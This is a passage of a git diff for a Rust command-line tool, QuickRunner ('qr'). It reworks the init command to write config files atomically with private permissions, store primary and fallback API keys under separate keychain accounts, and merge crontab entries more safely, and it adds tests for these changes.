@@ -369,7 +374,7 @@ pub fn write_default_config_if_missing(path: &Path) -> Result<bool> {
     if let Some(parent) = path.parent() {
         fs::create_dir_all(parent)?;
     }
-    fs::write(path, DEFAULT_CONFIG)?;
+    atomic::write_private(path, DEFAULT_CONFIG.as_bytes())?;
     Ok(true)
 }
 
diff --git a/src/main.rs b/src/main.rs
index b988cb0..1a9df50 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -1,5 +1,5 @@
 use std::{
-    env, fs,
+    env,
     io::{self, Write},
     process::{Command, ExitCode},
     time::Instant,
@@ -10,7 +10,7 @@ use clap::{Args, Parser, Subcommand};
 use quick_runner::{
     ai,
     ai::providers::AiProtocol,
-    commands,
+    atomic, commands,
     commands::{alias::AliasCommand, config_cmd::ConfigArgs, go::GoResult},
     config::{
         AgentConfig, AiConfig, AppConfig, DoConfig, FallbackAiConfig, GeneralConfig,
@@ -19,8 +19,6 @@ use quick_runner::{
     pricing, scanner, secret, shell,
     stats_db::{CommandStats, StatsDb},
 };
-#[cfg(unix)]
-use std::os::unix::fs::PermissionsExt;
 
 #[derive(Parser)]
 #[command(name = "qr", version, about = "QuickRunner")]
@@ -143,6 +141,10 @@ fn run() -> Result<ExitCode> {
             commands::learn::print_summary(&result);
             Ok(ExitCode::SUCCESS)
         }
+        Commands::Init(args) => {
+            execute_init(args)?;
+            Ok(ExitCode::SUCCESS)
+        }
         command => run_with_config(command),
     }
 }
@@ -217,10 +219,8 @@ fn run_with_config(command: Commands) -> Result<ExitCode> {
             );
             Ok(ExitCode::SUCCESS)
         }
-        Commands::Init(args) => {
-            execute_init(&config, args)?;
-            stats.command_type = "__skip_stats__".into();
-            Ok(ExitCode::SUCCESS)
+        Commands::Init(_) => {
+            unreachable!("config-independent commands are dispatched before config load")
         }
         Commands::Cost { refresh } => {
             run_cost(&config, refresh)?;
@@ -277,11 +277,22 @@ fn record_stats(config: &AppConfig, stats: &CommandStats) -> Result<()> {
     db.record(stats)
 }
 
-fn execute_init(config: &AppConfig, args: InitArgs) -> Result<()> {
+fn execute_init(args: InitArgs) -> Result<()> {
     let config_path = config_file_path();
-    let is_new = !config_path.exists();
+    let existing = if config_path.exists() {
+        Some(AppConfig::load_file_without_env(&config_path))
+    } else {
+        None
+    };
+    let needs_recreate = !config_path.exists() || existing.as_ref().is_some_and(Result::is_err);
 
-    if is_new {
+    let effective_config = if needs_recreate {
+        if let Some(Err(error)) = existing {
+            println!(
+                "config at {} is invalid; recreating it ({error:#})",
+                config_path.display()
+            );
+        }
         // Ask for project roots interactively
         println!("Welcome to QuickRunner! Let's set up your project roots.");
         println!("Enter directories to scan for projects (one per line, empty line to finish):");
@@ -328,21 +339,12 @@ fn execute_init(config: &AppConfig, args: InitArgs) -> Result<()> {
             },
         })?;
 
-        if let Some(parent) = config_path.parent() {
-            fs::create_dir_all(parent)?;
-        }
-        fs::write(&config_path, &config_content)?;
-        restrict_config_permissions(&config_path)?;
+        atomic::write_private(&config_path, config_content.as_bytes())?;
         println!("created {}", config_path.display());
+        AppConfig::load_from_env_with_path(config_path.clone())?
     } else {
         println!("config already present at {}", config_path.display());
-    }
-
-    // Reload config in case we just wrote a new one with custom roots
-    let effective_config = if is_new {
-        AppConfig::load()?
-    } else {
-        config.clone()
+        AppConfig::load_from_env_with_path(config_path.clone())?
     };
 
     if !args.no_shell_wrapper {
@@ -387,7 +389,7 @@ fn prompt_provider_fields(label: &str) -> Result<(AiProtocol, String, String, St
 
 fn prompt_ai_config(label: &str) -> Result<AiConfig> {
     let (protocol, base_url, model, api_key, api_key_env) = prompt_provider_fields(label)?;
-    let api_key = maybe_store_key_in_keychain(protocol, &api_key_env, api_key)?;
+    let api_key = maybe_store_key_in_keychain("primary", protocol, &api_key_env, api_key)?;
 
     let fallback = if prompt_bool("Configure a fallback provider?", false)? {
         Some(prompt_fallback_ai_config()?)
@@ -441,6 +443,7 @@ fn run_cost(config: &AppConfig, refresh: bool) -> Result<()> {
 /// keychain, otherwise the key itself (config storage is the fallback when the
 /// user declines or the keychain is unavailable).
 fn maybe_store_key_in_keychain(
+    role: &str,
     protocol: AiProtocol,
     api_key_env: &str,
     api_key: String,
@@ -449,9 +452,10 @@ fn maybe_store_key_in_keychain(
         "Store the API key in your OS keychain (recommended; keeps it out of config.toml)?",
         true,
     )? {
+        println!("API key will be stored in config.toml");
         return Ok(api_key);
     }
-    let account = secret::account_for(api_key_env, protocol.default_api_key_env());
+    let account = secret::account_for(role, api_key_env, protocol.default_api_key_env());
     match secret::set(&account, &api_key) {
         Ok(()) => {
             println!("✔ stored API key in the OS keychain (account \"{account}\")");
@@ -461,6 +465,7 @@ fn maybe_store_key_in_keychain(
             println!(
                 "⚠ could not use the keychain ({error}); storing the key in config.toml instead"
             );
+            println!("API key will be stored in config.toml");
             Ok(api_key)
         }
     }
@@ -468,6 +473,7 @@ fn maybe_store_key_in_keychain(
 
 fn prompt_fallback_ai_config() -> Result<FallbackAiConfig> {
     let (protocol, base_url, model, api_key, api_key_env) = prompt_provider_fields("fallback")?;
+    let api_key = maybe_store_key_in_keychain("fallback", protocol, &api_key_env, api_key)?;
     Ok(FallbackAiConfig {
         protocol,
         base_url,
@@ -553,57 +559,46 @@ fn prompt(label: &str) -> Result<Option<String>> {
     Ok(Some(line.trim().to_string()))
 }
 
-fn restrict_config_permissions(path: &std::path::Path) -> Result<()> {
-    #[cfg(unix)]
-    {
-        let permissions = fs::Permissions::from_mode(0o600);
-        fs::set_permissions(path, permissions)?;
-    }
-
-    Ok(())
-}
-
 fn install_cron() -> Result<()> {
     let exe = env::current_exe().context("Could not resolve qr binary path")?;
     let cron_line = shell::cron_line(&exe);
-    let current = Command::new("crontab").arg("-l").output();
-
-    match current {
-        Ok(output) => {
-            let existing = String::from_utf8_lossy(&output.stdout);
-            if existing.contains(&cron_line) {
-                println!("cron entry already present");
-                return Ok(());
-            }
-
-            let mut merged = existing.to_string();
-            if !merged.ends_with('\n') && !merged.is_empty() {
-                merged.push('\n');
-            }
-            merged.push_str(&cron_line);
-            merged.push('\n');
-
-            let mut child = Command::new("crontab")
-                .arg("-")
-                .stdin(std::process::Stdio::piped())
-                .spawn()
-                .context("Failed to update crontab")?;
-            child.stdin.take().unwrap().write_all(merged.as_bytes())?;
-            let status = child.wait()?;
-            if !status.success() {
-                return Err(anyhow!("crontab rejected the new entry"));
-            }
-            println!("installed hourly scan cron");
-        }
-        Err(_) => {
-            println!("Could not update crontab automatically. Add this entry manually:");
-            println!("{}", cron_line);
+    let output = match Command::new("crontab").arg("-l").output() {
+        Ok(output) => output,
+        // Cannot spawn `crontab` (binary missing on minimal images, etc.) — nothing
+        // to overwrite, so fall back to printing the line for manual install.
+        Err(error) => {
+            print_manual_cron_hint(&cron_line);
+            eprintln!("warning: could not run `crontab -l`: {error:#}");
+            return Ok(());
         }
+    };
+    let existing = shell::crontab_contents_from_list_output(&output)?;
+
+    let Some(merged) = shell::merge_cron_entry(&existing, &cron_line) else {
+        println!("cron entry already present");
+        return Ok(());
+    };
+
+    let mut child = Command::new("crontab")
+        .arg("-")
+        .stdin(std::process::Stdio::piped())
+        .spawn()
+        .context("Failed to update crontab")?;
+    child.stdin.take().unwrap().write_all(merged.as_bytes())?;
+    let status = child.wait()?;
+    if !status.success() {
+        return Err(anyhow!("crontab rejected the new entry"));
     }
+    println!("installed hourly scan cron");
 
     Ok(())
 }
 
+fn print_manual_cron_hint(cron_line: &str) {
+    println!("Could not update crontab automatically. Add this entry manually:");
+    println!("{cron_line}");
+}
+
 fn print_go_result(result: &GoResult, print_path: bool) -> Result<()> {
     if print_path {
         println!("{}", result.path);
diff --git a/src/secret.rs b/src/secret.rs
index ae5f523..6077a9c 100644
--- a/src/secret.rs
+++ b/src/secret.rs
@@ -6,12 +6,34 @@
 //! and writes return an `Err` the caller can surface — nothing panics, and the
 //! rest of `qr` keeps working from environment variables or config.
 
+use std::sync::Once;
+
 const SERVICE: &str = "quick-runner";
 
-/// Keychain account name for an API key: the custom env-var name when one is
-/// configured, otherwise `default` (the protocol's well-known env var). Keeps
-/// `qr init`'s store and the AI client's lookup in agreement.
-pub fn account_for(api_key_env: &str, default: &str) -> String {
+/// Keychain account name for an API key. `role` distinguishes primary vs fallback
+/// when both use the same env-var name (e.g. two openai-compatible endpoints).
+pub fn account_for(role: &str, api_key_env: &str, default: &str) -> String {
+    let base = if api_key_env.trim().is_empty() {
+        default.to_string()
+    } else {
+        api_key_env.to_string()
+    };
+    format!("{role}:{base}")
+}
+
+/// Look up a role-scoped keychain entry, falling back to the legacy bare account
+/// for primary keys stored before role-prefixing shipped.
+pub fn get_for_role(role: &str, api_key_env: &str, default: &str) -> Option<String> {
+    get(&account_for(role, api_key_env, default)).or_else(|| {
+        if role == "primary" {
+            get(&legacy_account(api_key_env, default))
+        } else {
+            None
+        }
+    })
+}
+
+fn legacy_account(api_key_env: &str, default: &str) -> String {
     if api_key_env.trim().is_empty() {
         default.to_string()
     } else {
@@ -22,6 +44,7 @@ pub fn account_for(api_key_env: &str, default: &str) -> String {
 /// Fetch a stored secret by account name. Returns `None` if there is no entry or
 /// the keychain is unavailable for any reason.
 pub fn get(account: &str) -> Option<String> {
+    configure_test_backend();
     keyring::Entry::new(SERVICE, account)
         .ok()?
         .get_password()
@@ -32,7 +55,38 @@ pub fn get(account: &str) -> Option<String> {
 /// panicking) when the keychain is unavailable, so `qr init` can fall back to
 /// storing the key in the config file.
 pub fn set(account: &str, secret: &str) -> anyhow::Result<()> {
+    configure_test_backend();
     keyring::Entry::new(SERVICE, account)
         .and_then(|entry| entry.set_password(secret))
         .map_err(|error| anyhow::anyhow!("keychain unavailable: {error}"))
 }
+
+fn configure_test_backend() {
+    static ONCE: Once = Once::new();
+    ONCE.call_once(|| {
+        if std::env::var_os("QR_TEST_USE_MOCK_KEYCHAIN").is_some() {
+            keyring::set_default_credential_builder(keyring::mock::default_credential_builder());
+        }
+    });
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn primary_and_fallback_accounts_differ_when_env_name_matches() {
+        assert_eq!(
+            account_for("primary", "", "OPENAI_API_KEY"),
+            "primary:OPENAI_API_KEY"
+        );
+        assert_eq!(
+            account_for("fallback", "", "OPENAI_API_KEY"),
+            "fallback:OPENAI_API_KEY"
+        );
+        assert_ne!(
+            account_for("primary", "", "OPENAI_API_KEY"),
+            account_for("fallback", "", "OPENAI_API_KEY")
+        );
+    }
+}
diff --git a/src/shell.rs b/src/shell.rs
index 66a370d..b0b1ded 100644
--- a/src/shell.rs
+++ b/src/shell.rs
@@ -1,6 +1,7 @@
 use std::{
     env, fs,
     path::{Path, PathBuf},
+    process::Output,
 };
 
 use anyhow::{Context, Result, anyhow};
@@ -106,6 +107,10 @@ pub fn shell_wrapper_snippet(shell: ShellKind, binary_name: &str) -> String {
             r#"function {binary_name}
     if test (count $argv) -gt 0; and test $argv[1] = go -o $argv[1] = g
         set -l target (command {binary_name} go $argv[2..-1] --print-path)
+        set -l go_status $status
+        if test $go_status -ne 0
+            return $go_status
+        end
         if test -n "$target"
             cd $target
         end
@@ -118,7 +123,7 @@ end"#
             r#"{binary_name}() {{
   if [ "$1" = "go" ] || [ "$1" = "g" ]; then
     local dir
-    dir=$(command {binary_name} go "${{@:2}}" --print-path)
+    dir=$(command {binary_name} go "${{@:2}}" --print-path) || return $?
     if [ -n "$dir" ]; then
       cd "$dir"
     fi
@@ -165,6 +170,46 @@ pub fn cron_line(binary_path: &Path) -> String {
     )
 }
 
+pub fn merge_cron_entry(existing: &str, new_line: &str) -> Option<String> {
+    if existing.contains(new_line) {
+        return None;
+    }
+
+    let mut merged = existing.to_string();
+    if !merged.ends_with('\n') && !merged.is_empty() {
+        merged.push('\n');
+    }
+    merged.push_str(new_line);
+    merged.push('\n');
+    Some(merged)
+}
+
+pub fn crontab_contents_from_list_output(output: &Output) -> Result<String> {
+    if output.status.success() {
+        return Ok(String::from_utf8_lossy(&output.stdout).into_owned());
+    }
+
+    if is_known_no_crontab_message(&output.stdout) || is_known_no_crontab_message(&output.stderr) {
+        return Ok(String::new());
+    }
+
+    let stderr = String::from_utf8_lossy(&output.stderr).trim().to_string();
+    let stdout = String::from_utf8_lossy(&output.stdout).trim().to_string();
+    let detail = if !stderr.is_empty() {
+        stderr
+    } else if !stdout.is_empty() {
+        stdout
+    } else {
+        format!("exit status {}", output.status)
+    };
+    Err(anyhow!("`crontab -l` failed: {detail}"))
+}
+
+fn is_known_no_crontab_message(stream: &[u8]) -> bool {
+    let message = String::from_utf8_lossy(stream);
+    message.to_ascii_lowercase().contains("no crontab for")
+}
+
 fn validate_alias_name(name: &str) -> Result<()> {
     let mut chars = name.chars();
     let valid = match chars.next() {
@@ -268,6 +313,17 @@ fn write_lines(path: &Path, lines: &[String]) -> Result<()> {
 #[cfg(test)]
 mod tests {
     use super::*;
+    #[cfg(unix)]
+    use std::{os::unix::process::ExitStatusExt, process::Output};
+
+    #[cfg(unix)]
+    fn output(status: i32, stdout: &str, stderr: &str) -> Output {
+        Output {
+            status: std::process::ExitStatus::from_raw(status << 8),
+            stdout: stdout.as_bytes().to_vec(),
+            stderr: stderr.as_bytes().to_vec(),
+        }
+    }
 
     #[test]
     fn alias_helpers_add_list_and_remove() {
@@ -287,8 +343,14 @@ mod tests {
 
     #[test]
     fn wrapper_generation_matches_shell() {
-        assert!(shell_wrapper_snippet(ShellKind::Zsh, "qr").contains(r#"dir=$(command qr go"#));
-        assert!(shell_wrapper_snippet(ShellKind::Fish, "qr").contains("function qr"));
+        let zsh = shell_wrapper_snippet(ShellKind::Zsh, "qr");
+        assert!(zsh.contains(r#"dir=$(command qr go"#));
+        assert!(zsh.contains("|| return $?"));
+
+        let fish = shell_wrapper_snippet(ShellKind::Fish, "qr");
+        assert!(fish.contains("function qr"));
+        assert!(fish.contains("set -l go_status $status"));
+        assert!(fish.contains("return $go_status"));
     }
 
     #[test]
@@ -405,4 +467,44 @@ mod tests {
         let parsed = parse_alias_line("alias e 'echo a=b'").unwrap();
         assert_eq!(parsed, ("e".to_string(), "echo a=b".to_string()));
     }
+
+    #[cfg(unix)]
+    #[test]
+    fn merge_cron_entry_adds_new_line() {
+        let merged = merge_cron_entry("MAILTO=user@example.com\n", "0 * * * * '/tmp/qr' scan")
+            .expect("new cron entry should be appended");
+        assert_eq!(
+            merged,
+            "MAILTO=user@example.com\n0 * * * * '/tmp/qr' scan\n"
+        );
+    }
+
+    #[cfg(unix)]
+    #[test]
+    fn crontab_list_output_treats_no_crontab_as_empty() {
+        for stderr in [
+            "no crontab for ubuntu\n",
+            "crontab: no crontab for ubuntu\n",
+        ] {
+            let existing = crontab_contents_from_list_output(&output(1, "", stderr))
+                .expect("known no-crontab message should map to an empty crontab");
+            assert!(existing.is_empty(), "expected empty crontab for {stderr:?}");
+        }
+    }
+
+    #[cfg(unix)]
+    #[test]
+    fn crontab_list_output_rejects_other_failures() {
+        let err = crontab_contents_from_list_output(&output(1, "", "permission denied\n"))
+            .expect_err("unexpected crontab -l failures must abort installation");
+        let message = err.to_string();
+        assert!(
+            message.contains("crontab -l"),
+            "missing command context: {message}"
+        );
+        assert!(
+            message.contains("permission denied"),
+            "missing stderr detail: {message}"
+        );
+    }
 }
diff --git a/tests/cli.rs b/tests/cli.rs
index 4e41956..ef0eba6 100644
--- a/tests/cli.rs
+++ b/tests/cli.rs
@@ -11,7 +11,7 @@ use std::{
     thread,
 };
 
-use quick_runner::stats_db::StatsDb;
+use quick_runner::{config::AppConfig, stats_db::StatsDb};
 
 fn env_lock() -> &'static Mutex<()> {
     static LOCK: OnceLock<Mutex<()>> = OnceLock::new();
@@ -19,7 +19,12 @@ fn env_lock() -> &'static Mutex<()> {
 }
 
 fn clear_test_env() {
-    for key in ["QR_CONFIG_DIR", "QR_TEST_AI_KEY"] {
+    for key in [
+        "QR_CONFIG_DIR",
+        "QR_TEST_AI_KEY",
+        "QR_TEST_USE_MOCK_KEYCHAIN",
+        "QR_SCAN_DEPTH",
+    ] {
         unsafe {
             std::env::remove_var(key);
         }
@@ -260,7 +265,7 @@ db_path = "__default__"
 }
 
 #[test]
-fn init_collects_ai_provider_settings_and_writes_secure_config() {
+fn init_stores_keys_in_config_with_explicit_notice_and_private_permissions() {
     let _guard = env_lock().lock().unwrap();
     clear_test_env();
     let tmp = tempfile::tempdir().unwrap();
@@ -280,11 +285,12 @@ fn init_collects_ai_provider_settings_and_writes_secure_config() {
         .arg("--no-prices")
         .write_stdin(format!(
             "{root}\n\nopenai-compatible\n\nopenai-model\nconfig-primary-key\n\n\
-n\ny\nanthropic-compatible\n\nclaude-fallback\nconfig-fallback-key\nFALLBACK_SECRET\n",
+n\ny\nanthropic-compatible\n\nclaude-fallback\nconfig-fallback-key\nFALLBACK_SECRET\nn\n",
             root = project_root.display()
         ))
         .assert()
         .success()
+        .stdout(contains("API key will be stored in config.toml"))
         .stdout(contains("created"))
         .stdout(contains("initial scan found"));
 
@@ -311,6 +317,155 @@ n\ny\nanthropic-compatible\n\nclaude-fallback\nconfig-fallback-key\nFALLBACK_SEC
     }
 }
 
+#[test]
+fn init_recovers_from_corrupt_config_and_rewrites_valid_config() {
+    let _guard = env_lock().lock().unwrap();
+    clear_test_env();
+    let tmp = tempfile::tempdir().unwrap();
+    let cfg_dir = tmp.path().join("cfg");
+    let project_root = tmp.path().join("projects");
+    fs::create_dir_all(&cfg_dir).unwrap();
+    fs::create_dir_all(&project_root).unwrap();
+    fs::write(cfg_dir.join("config.toml"), "[broken").unwrap();
+
+    unsafe {
+        std::env::set_var("QR_CONFIG_DIR", &cfg_dir);
+    }
+
+    Command::cargo_bin("qr")
+        .unwrap()
+        .arg("init")
+        .arg("--no-shell-wrapper")
+        .arg("--no-cron")
+        .arg("--no-prices")
+        .write_stdin(format!(
+            "{root}\n\nopenai-compatible\n\nopenai-model\nrecovered-primary-key\n\nn\nn\n",
+            root = project_root.display()
+        ))
+        .assert()
+        .success()
+        .stdout(contains("created"))
+        .stdout(contains("initial scan found"));
+
+    let config_path = cfg_dir.join("config.toml");
+    let config = AppConfig::load_from_env_with_path(config_path.clone()).unwrap();
+    assert_eq!(
+        config.projects.roots,
+        vec![project_root.display().to_string()]
+    );
+    assert_eq!(config.ai.model, "openai-model");
+    assert_eq!(config.ai.api_key, "recovered-primary-key");
+    assert!(config.ai.fallback.is_none());
+    assert!(!fs::read_to_string(config_path).unwrap().contains("[broken"));
+
+    unsafe {
+        std::env::remove_var("QR_CONFIG_DIR");
+    }
+}
+
+#[test]
+fn init_stores_fallback_key_in_keychain_when_requested() {
+    let _guard = env_lock().lock().unwrap();
+    clear_test_env();
+    let tmp = tempfile::tempdir().unwrap();
+    let cfg_dir = tmp.path().join("cfg");
+    let project_root = tmp.path().join("projects");
+    fs::create_dir_all(&cfg_dir).unwrap();
+    fs::create_dir_all(&project_root).unwrap();
+
+    unsafe {
+        std::env::set_var("QR_CONFIG_DIR", &cfg_dir);
+        std::env::set_var("QR_TEST_USE_MOCK_KEYCHAIN", "1");
+    }
+
+    Command::cargo_bin("qr")
+        .unwrap()
+        .arg("init")
+        .arg("--no-shell-wrapper")
+        .arg("--no-cron")
+        .arg("--no-prices")
+        .write_stdin(format!(
+            "{root}\n\nopenai-compatible\n\nopenai-model\nprimary-secret\n\n\
+y\ny\nopenai-compatible\n\nfallback-model\nfallback-secret\n\ny\n",
+            root = project_root.display()
+        ))
+        .assert()
+        .success()
+        .stdout(contains(
+            "stored API key in the OS keychain (account \"primary:OPENAI_API_KEY\")",
+        ))
+        .stdout(contains(
+            "stored API key in the OS keychain (account \"fallback:OPENAI_API_KEY\")",
+        ));
+
+    let raw = fs::read_to_string(cfg_dir.join("config.toml")).unwrap();
+    assert_eq!(raw.matches("api_key = \"\"").count(), 2);
+    assert!(!raw.contains("primary-secret"));
+    assert!(!raw.contains("fallback-secret"));
+    assert!(raw.contains("api_key_env = \"OPENAI_API_KEY\""));
+    assert!(raw.contains("model = \"fallback-model\""));
+
+    unsafe {
+        std::env::remove_var("QR_CONFIG_DIR");
+        std::env::remove_var("QR_TEST_USE_MOCK_KEYCHAIN");
+    }
+}
+
+#[test]
+fn init_keeps_valid_config_when_env_override_is_invalid() {
+    let _guard = env_lock().lock().unwrap();
+    clear_test_env();
+    let tmp = tempfile::tempdir().unwrap();
+    let cfg_dir = tmp.path().join("cfg");
+    fs::create_dir_all(&cfg_dir).unwrap();
+    fs::write(
+        cfg_dir.join("config.toml"),
+        r#"[general]
+default_run_mode = "output"
+
+[projects]
+roots = ["~/Development"]
+scan_depth = 2
+scan_interval_hours = 1
+
+[ai]
+protocol = "openai"
+base_url = "https://api.openai.com/v1"
+model = "gpt-4o"
+api_key = "keep-me"
+api_key_env = "OPENAI_API_KEY"
+
+[stats]
+enabled = false
+db_path = "__default__"
+"#,
+    )
+    .unwrap();
+
+    unsafe {
+        std::env::set_var("QR_CONFIG_DIR", &cfg_dir);
+        std::env::set_var("QR_SCAN_DEPTH", "not-a-number");
+    }
+
+    Command::cargo_bin("qr")
+        .unwrap()
+        .args(["init", "--no-shell-wrapper", "--no-cron", "--no-prices"])
+        .write_stdin("\n")
+        .assert()
+        .failure()
+        .stdout(contains("config already present"))
+        .stdout(contains("recreating").not())
+        .stderr(contains("QR_SCAN_DEPTH"));
+
+    let raw = fs::read_to_string(cfg_dir.join("config.toml")).unwrap();
+    assert!(raw.contains("api_key = \"keep-me\""));
+
+    unsafe {
+        std::env::remove_var("QR_CONFIG_DIR");
+        std::env::remove_var("QR_SCAN_DEPTH");
+    }
+}
+
 #[test]
 fn init_fails_fast_on_closed_stdin_instead_of_hanging() {
     let _guard = env_lock().lock().unwrap();